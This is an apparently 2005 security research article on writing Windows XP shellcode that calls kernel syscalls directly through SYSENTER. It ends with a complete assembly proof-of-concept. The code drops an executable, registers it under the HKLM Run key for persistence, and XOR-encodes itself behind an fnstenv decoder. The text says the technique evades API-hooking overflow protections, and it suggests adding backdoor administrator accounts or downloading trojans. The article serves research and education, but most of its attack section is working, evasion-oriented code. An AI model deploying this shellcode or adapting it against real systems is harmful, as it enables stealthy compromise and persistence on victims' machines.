Windows Syscall Shellcode

Piotr Bania 2005-08-04

Introduction

This article has been written to show that is possible to write shellcode for Windows operating systems that doesn't use standard API calls at all. Of course, as with every solution, this approach has both advantages and disadvantages. In this paper we will look at such shellcode and also introduce some example usage. IA-32 assembly knowledge is definitely required to fully understand this article.

All shellcode here has been tested on Windows XP SP1. Note that there are variations in the approach depending on the operating system and service pack level, so this will be discussed further as we progress.

Some background

Windows NT-based systems (NT/2000/XP/2003 and beyond) were designed to handle many subsystems, each having its own individual environment. For example, one of NT subsystems is Win32 (for normal Windows applications), another example would be POSIX (Unix) or OS/2. What does it mean? It means that Windows NT could actually run (of course with proper os add-ons) OS/2 and support most of it features. So what changes were made as the OS was developed? To support all of these potential subsystems, Microsoft made unified set of APIs which are called wrappers of each subsystem. In short, all subsystems have all the needed libraries for them to work. For example Win32 apps call the Win32 Subsystem APIs, which in fact call NT APIs (native APIs, or just natives). Natives don't require any subsystem to run.

From native API calls to syscalls

Is this theory true, that shellcode can be written without any standard API calls? Well, for some APIs it is for some it isn't. There are many APIs that do their job without calling native NT APIs and so on. To prove this, let's look at the GetCommandLineA API exported from KERNEL32.DLL.

```
.text:77E7E358 ; --------------- S U B R O U T I N E ------------------------
.text:77E7E358
.text:77E7E358
.text:77E7E358 ; LPSTR GetCommandLineA(void)
.text:77E7E358 public GetCommandLineA
.text:77E7E358 GetCommandLineA proc near
.text:77E7E358                 mov eax, dword_77ED7614
.text:77E7E35D                 retn
.text:77E7E35D GetCommandLineA endp
```

This API routine doesn't use any arbitary calls. The only thing it does is the return the pointer to the program command line. But let's now discuss an example that is in line with our theory. What follows is part of the TerminateProcess API's disassembly.

```
.text:77E616B8 ; BOOL __stdcall TerminateProcess(HANDLE hProcess,UINT uExitCode)
.text:77E616B8 public TerminateProcess
.text:77E616B8 TerminateProcess proc near           ; CODE XREF: ExitProcess+12 j
.text:77E616B8                                      ; sub_77EC3509+DA p
.text:77E616B8
.text:77E616B8 hProcess       =        dword ptr 4
```

```
.text:77E616B8 uExitCode      =        dword ptr 8
.text:77E616B8
.text:77E616B8                   cmp [esp+hProcess], 0
.text:77E616BD                   jz short loc_77E616D7
.text:77E616BF                   push [esp+uExitCode]       ; 1st param: Exit code
.text:77E616C3                   push [esp+4+hProcess]      ; 2nd param: Handle of process
.text:77E616C7                   call ds:NtTerminateProcess ; NTDLL!NtTerminateProcess
```

As you can see, the TerminateProcess API passes arguments and then executes NtTerminateProcess, exported by NTDLL.DLL. The NTDLL.DLL is the native API. In other words, the function which name starts with 'Nt' is called the native API (some of them are also ZwAPIs - just look what exports from the NTDLL library). Let's now look at NtTerminateProcess.

```
.text:77F5C448 public ZwTerminateProcess
.text:77F5C448 ZwTerminateProcess proc near      ; CODE XREF: sub_77F68F09+D1 p
.text:77F5C448                                   ; RtlAssert2+B6 p
.text:77F5C448 mov eax, 101h                     ; syscall number: NtTerminateProcess
.text:77F5C44D mov edx, 7FFE0300h                ; EDX = 7FFE0300h
.text:77F5C452 call edx                          ; call 7FFE0300h
.text:77F5C454 retn 8
.text:77F5C454 ZwTerminateProcess endp
```

This native API infact only puts the number of the syscall to eax and calls memory at 7FFE0300h, which is:

```
7FFE0300      8BD4    MOV EDX,ESP
7FFE0302      0F34    SYSENTER
7FFE0304      C3      RETN
```

And that shows how the story goes; EDX is now user stack pointer, EAX is the system call to execute. The SYSENTER instruction executes a fast call to a level 0 system routine, which does rest of the job.

Operating system differences

In Windows 2000 (and other NT based systems except XP and newer) no SYSENTER instruction is used. However, in Windows XP the "int 2eh" (our old way) was replaced by SYSENTER instruction. The following schema shows the syscall implementation for Windows 2000:

```
     MOV   EAX, SyscallNumber              ; requested syscall number
     LEA   EDX, [ESP+4]                    ; EDX = params...
     INT   2Eh                             ; throw the execution to the KM handler
     RET   4*NUMBER_OF_PARAMS              ; return
```

We know already the Windows XP way, however here is the one I'm using in shellcode:

```
    push   fn                              ; push syscall number
    pop    eax                             ; EAX = syscall number
    push   eax                             ; this one makes no diff
```

```
     call   b                                ; put caller address on stack
b:   add    [esp],(offset r - offset b)      ; normalize stack
     mov    edx, esp                         ; EDX = stack
     db     0fh, 34h                         ; SYSENTER instruction
r:   add    esp, (param*4)                   ; normalize stack
```

It seems that SYSENTER was first introduced in the Intel Pentium II processors. This author is not certain but one can guess that SYSENTER is not supported by Athlon processors. To determine if the instruction is available on a particular processor, use the CPUID instruction together with a check for the SEP flag and some specific family/model/stepping checks. Here is the example how Intel does this type of checking:

```
IF (CPUID SEP bit is set)
    THEN IF (Family = 6) AND (Model < 3) AND (Stepping < 3)
       THEN
          SYSENTER/SYSEXIT_NOT_SUPPORTED
       FI;
    ELSE SYSENTER/SYSEXIT_SUPPORTED
FI;
```

But of course this is not the only difference in various Windows operating systems -- system call numbers also change between the various Windows versions, as the following table shows:

Syscall symbol		**NtAddAtom**	**NtAdjustPrivilegesToken**	**NtAlertThread**
Windows NT	SP 3	0x3	0x5	0x7
	SP 4	0x3	0x5	0x7
	SP 5	0x3	0x5	0x7
	SP 6	0x3	0x5	0x7
Windows 2000	SP 0	0x8	0xa	0xc
	SP 1	0x8	0xa	0xc
	SP 2	0x8	0xa	0xc
	SP 3	0x8	0xa	0xc
	SP 4	0x8	0xa	0xc
Windows XP	SP 0	0x8	0xb	0xd
	SP 1	0x8	0xb	0xd
	SP 2	0x8	0xb	0xd
Windows 2003 Server	SP 0	0x8	0xc	0xe
	SP 1	0x8	0xc	0xe

The syscall number tables are available on the Internet. The reader is advised to look at the one from metasploit.com, however other sources may also be good.

Syscall shellcode advantages

There are several advantages when using this approach:

- Shellcode doesn't require the use of APIs, due to the fact that it doesn't have to locate API addresses (there is no kernel address finding/no export section parsing/import section parsing, and so on). Due to this "feature" it is able to bypass most of ring3 "buffer overflow prevention systems." Such protection mechanisms usually don't stop the buffer overflow attacks in itself, but instead they mainly hook the most used APIs and check the caller address. Here, such checking would be of no use.
- Since you are sending the requests directly to the kernel handler and you "jump over" all of those instructions from the Win32 Subsystem, the speed of execution highly increases (although in the era of modern processors, who truly cares about speed of shellcode?).

Syscall shellcode disadvantages

There are also several disadvantages to this approach:

- Size -- this is the main disadvantage. Becase we are "jumping over" all of those subsytem wrappers, we need to code our own ones, and this increases the size of shellcode.
- Compability -- as has been written above, there exist various implementations from "int 2eh" to "sysenter," depending on the operating system version. Also, the system call number changes together with each Windows version (for more see the References section).

The ideas

The shellcode at the end of this article dumps a file and then writes an registry key. This action causes execution of the dropped file after the computer reboots. Many of you may ask me why we would not to execute the file directly without storing the registry key. Well, executing win32 application by syscalls is not a simple task -- don't think that NtCreateProcess will do the job; let's look at what CreateProcess API must do to execute an application:

1. Open the image file (.exe) to be executed inside the process.
2. Create the Windows executive process object.
3. Create the initial thread (stack, context, and Windows executive thread object).
4. Notify the Win32 subsystem of the new process so that it can set up for the new process and thread.
5. Start execution of the initial thread (unless the CREATE_SUSPENDED flag was specified).
6. In the context of the new process and thread, complete the initialization of the address space (such as load required DLLs) and begin execution of the program.

Therefore, it is clearly much easier and quicker to use the registry method. The following shellcode that concludes this article drops a sample MessageBox application (mainly, a PE struct which is big itself so the size increases) however there are plenty more solutions. Attacker can drop some script file (batch/vbs/ others) and download a trojan/backdoor file from an ftp server, or just execute various commands such as: "net user /add piotr test123" & "net localgroup /add administrators piotr". This idea should help the reader with optimizations, now enjoy the proof of concept shellcode.

If you experience formatting issues with the code as listed below, an archive of this proof of concept is available for download from SecurityFocus.

```
The shellcode - Proof Of Concept

comment $

            ------------------------------------------------
            WinNT (XP) Syscall Shellcode - Proof Of Concept
            ------------------------------------------------
            Written by: Piotr Bania
```

```
                        http://pb.specialised.info

$

include         my_macro.inc
include         io.inc

; --- CONFIGURE HERE ---------------------------------------------------------
; If you want to change something here, you need to update size entries written above.

FILE_PATH                       equ     "\??\C:\b.exe",0           ; dropper
SHELLCODE_DROP                  equ     "D:\asm\shellcodeXXX.dat"  ; where to drop
                                                                    ; shellcode
REG_PATH                        equ     "\Registry\Machine\Software\Microsoft\Windows
\CurrentVersion\Run",0

; ----------------------------------------------------------------------------


KEY_ALL_ACCESS                  equ     0000f003fh          ; const value

_S_NtCreateFile                 equ     000000025h          ; syscall numbers  for
_S_NtWriteFile                  equ     000000112h          ; Windows XP SP1
_S_NtClose                      equ     000000019h
_S_NtCreateSection              equ     000000032h
_S_NtCreateKey                  equ     000000029h
_S_NtSetValueKey                equ     0000000f7h
_S_NtTerminateThread            equ     000000102h
_S_NtTerminateProcess           equ     000000101h


@syscall                        macro fn, param             ; syscall implementation
                                local b, r                  ; for Windows XP
                                push fn
                                pop  eax
                                push eax ; makes no diff
                                call b
                              b: add [esp],(offset r - offset b)
                                mov edx, esp
                                db 0fh, 34h
                              r: add esp, (param*4)
                                endm



path                            struc                       ; some useful structs
                                p_path dw MAX_PATH dup (?)  ; converted from C headers
path                            ends


object_attributes               struc
                                oa_length               dd      ?
                                oa_rootdir              dd      ?
                                oa_objectname           dd      ?
                                oa_attribz              dd      ?
                                oa_secdesc              dd      ?
                                oa_secqos               dd      ?
object_attributes               ends
```

```
pio_status_block                struc
                                psb_ntstatus            dd      ?
                                psb_info                dd      ?
pio_status_block                ends


unicode_string struc
                                us_length               dw      ?
                                                        dw      ?
                                us_pstring              dd      ?
unicode_string ends




        call crypt_and_dump_sh                                  ; xor and dump shellcode


sc_start                proc

        local   u_string                :unicode_string   ; local variables
        local   fpath                   :path             ; (stack based)
        local   rpath                   :path
        local   obj_a                   :object_attributes
        local   iob                     :pio_status_block
        local   fHandle                 :DWORD
        local   rHandle                 :DWORD


        sub     ebp,500                                         ; allocate space on stack
        push    FILE_PATH_ULEN                                  ; set up unicode string
        pop     [u_string.us_length]                            ; length
        push    255                                             ; set up unicode max string
        pop     [u_string.us_length+2]                          ; length
        lea     edi,[fpath]                                     ; EDI = ptr to unicode file
        push    edi                                             ; path
        pop     [u_string.us_pstring]                           ; set up the unciode entry


        call    a_p1                                            ; put file path address
a_s:    db                              FILE_PATH               ; on stack
        FILE_PATH_LEN                   equ     $ - offset a_s
        FILE_PATH_ULEN                  equ     18h

a_p1:   pop     esi                                             ; ESI = ptr to file path
        push    FILE_PATH_LEN                                   ; (ascii one)
        pop     ecx                                             ; ECX = FILE_PATH_LEN
        xor     eax,eax                                         ; EAX = 0

a_lo:   lodsb                                                   ; begin ascii to unicode
        stosw                                                   ; conversion do not forget
        loop    a_lo                                            ; to do sample align

        lea     edi,[obj_a]                                     ; EDI = object attributes st.
        lea     ebx,[u_string]                                  ; EBX = unicode string st.
        push    18h                                             ; sizeof(object attribs)
```

```
        pop     [edi.oa_length]                         ; store
        push    ebx                                     ; store the object name
        pop     [edi.oa_objectname]
        push    eax                                     ; rootdir = NULL
        pop     [edi.oa_rootdir]
        push    eax                                     ; secdesc = NULL
        pop     [edi.oa_secdesc]
        push    eax                                     ; secqos  = NULL
        pop     [edi.oa_secqos]
        push    40h                                     ; attributes value = 40h
        pop     [edi.oa_attribz]


        lea     ecx,[iob]                               ; ECX = io status block
        push    eax                                     ; ealength = null
        push    eax                                     ; eabuffer = null
        push    60h                                     ; create options
        push    05h                                     ; create disposition
        push    eax                                     ; share access = NULL
        push    80h                                     ; file attributes
        push    eax                                     ; allocation size = NULL
        push    ecx                                     ; io status block
        push    edi                                     ; object attributes
        push    0C0100080h                              ; desired access
        lea     esi,[fHandle]
        push    esi                                     ; (out) file handle
        @syscall _S_NtCreateFile, 11                    ; execute syscall

        lea     ecx,[iob]                               ; ecx = io status block
        push    eax                                     ; key = null
        push    eax                                     ; byte offset = null
        push    main_exploit_s                          ; length of data
        call    a3                                      ; ptr to dropper body

s1:                                 include msgbin.inc  ; dopper data
main_exploit_s                      equ     $ - offset s1

a3:     push    ecx                                     ; io status block
        push    eax                                     ; apc context = null
        push    eax                                     ; apc routine = null
        push    eax                                     ; event = null
        push    dword ptr [esi]                         ; file handle
        @syscall _S_NtWriteFile, 9                      ; execute the syscall


        mov     edx,edi                                 ; edx = object attributes
        lea     edi,[rpath]                             ; edi = registry path
        push    edi                                     ; store the pointer
        pop     [u_string.us_pstring]                   ; into unicode struct
        push    REG_PATH_ULEN                           ; store new path len
        pop     [u_string.us_length]

        call    a_p2                                    ; store the ascii reg path
a_s1:   db                          REG_PATH            ; pointer on stack
        REG_PATH_LEN                equ     $ - offset a_s1
        REG_PATH_ULEN               equ     7eh

a_p2:   pop     esi                                     ; esi ptr to ascii reg path
```

```
        push    REG_PATH_LEN
        pop     ecx                                             ; ECX = REG_PATH_LEN

a_lo1:  lodsb                                                   ; little ascii 2 unicode
        stosw                                                   ; conversion
        loop a_lo1

        push    eax                                             ; disposition = null
        push    eax                                             ; create options = null
        push    eax                                             ; class = null
        push    eax                                             ; title index = null
        push    edx                                             ; object attributes struct
        push    KEY_ALL_ACCESS                                  ; desired access
        lea     esi,[rHandle]
        push    esi                                             ; (out) handle
        @syscall _S_NtCreateKey,6

        lea     ebx,[fpath]                                     ; EBX = file path
        lea     ecx,[fHandle]                                   ; ECX = file handle
        push    eax
        pop     [ecx]                                           ; nullify file handle

        push    FILE_PATH_ULEN - 8                              ; push the unicode len
                                                                ; without 8 (no '\??\')
        push    ebx                                             ; file path
        add     [esp],8                                         ; without '\??'
        push    REG_SZ                                          ; type
        push    eax                                             ; title index = NULL
        push    ecx                                             ; value name = NULL = default
        push    dword ptr [esi]                                 ; key handle
        @syscall _S_NtSetValueKey,6                             ; set they key value

        dec     eax
        push    eax                                             ; exit status code
        push    eax                                             ; process handle
                                                                ; -1 current process
        @syscall _S_NtTerminateProcess,2                        ; maybe you want
                                                                ; TerminateThread instead?


ssc_size                            equ $ -offset sc_start

sc_start                endp



exit:
        push 0
        @callx ExitProcess



crypt_and_dump_sh:                                              ; this gonna' xor
                                                                ; the shellcode and
        mov     edi,(offset sc_start - 1)                       ; add the decryptor
        mov     ecx,ssc_size                                    ; finally shellcode file
                                                                ; will be dumped
xor_loop:
```

```
        inc     edi
        xor     byte ptr [edi],96h
        loop    xor_loop


        _fcreat SHELLCODE_DROP,ebx                          ; some of my old crazy
        _fwrite ebx,sh_decryptor,sh_dec_size                ; io macros
        _fwrite ebx,sc_start,ssc_size
        _fclose ebx

        jmp exit



sh_decryptor:                                               ; that's how the decryptor
        xor ecx,ecx                                         ; looks like
        mov cx,ssc_size

        fldz
sh_add: fnstenv [esp-12]                                    ; fnstenv decoder
        pop edi
        add edi,sh_dec_add

sh_dec_loop:
        inc edi
        xor byte ptr [edi],96h
        loop sh_dec_loop

sh_dec_add                              equ ($ - offset sh_add) + 1
sh_dec_size                             equ $ - offset sh_decryptor


end start
```

Final words

The author hopes you have enjoyed the article. If you have any comments don't hesitate to contact him; also remember that code was developed purely for educational purposes only.

Further reading

1. "Inside the Native API" by Mark Russinovich
2. "MSDN" from Microsoft
3. Interactive Win32 syscall page from Metasploit

About the author

Piotr Bania is an independent IT Security/Anti-Virus Researcher from Poland with over five years of experience. He has discovered several highly critical security vulnerabilities in popular applications like RealPlayer. More information can be found on his website.